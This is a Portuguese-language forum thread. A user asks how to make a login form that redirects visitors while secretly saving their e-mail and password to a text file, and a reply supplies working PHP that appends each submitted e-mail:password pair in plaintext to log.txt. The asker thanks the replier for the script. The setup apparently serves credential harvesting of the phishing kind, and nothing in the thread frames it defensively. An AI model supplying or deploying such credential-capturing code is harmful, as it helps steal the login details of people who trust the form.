Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Como fazer que um <input> salve arquivos logs.txt?

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Como fazer que um <input> salve arquivos logs.txt?

    é mais ou menos isso o que estou tentando fazer:

    <html>
    <form>
    E-mail:<input type="text" name=E-mail>
    Senha:<input type="password" name=Senha>
    <input type="submit" value=Entrar>
    </form>
    </html>

    ,mas eu queria saber é como fazer para quando a pessoa apertar o botão "Entrar" ela seje redirecionada para outro link, e ao mesmo tempo que o email e senha seje gravado em arquivo .txt Tem como?

  • Font Size
    #2
    Tem sim, utilizando o PHP ou outra linguagem web.
    Seria mais ou menos assim:
    Código PHP:
    <?php
    error_reporting
    (false);
    if((!
    $_POST['email'] == "") && (!$_POST['senha'] == "")){
            
    $email $_POST['email'];
            
    $senha $_POST['senha'];
            
    $fp fopen("log.txt","a");
            
    fwrite($fp,$email.":");
            
    fwrite($fp,$senha."\r\n");
            
    fclose($fp);
        }
    ?>
    <html>
    <head><title>Sua Pagina</title></head>
    <body>
    <form name="form1" method="post" action="">
    <label for="email">E-Mail</label>
    <input type="text" name="email" id="email">
    <label for="senha">Senha</label>
    <input type="password" name="senha" id="senha">
    <input type="submit" value="Enviar">
    </form>
    </body>
    </html>


    Notify-list ~ Twitter ~ E-mail

    Comment


    • Font Size
      #3
      opa achei o script que eu estava precisando, valeu fopen.

      Comment

      X
      Working...
      X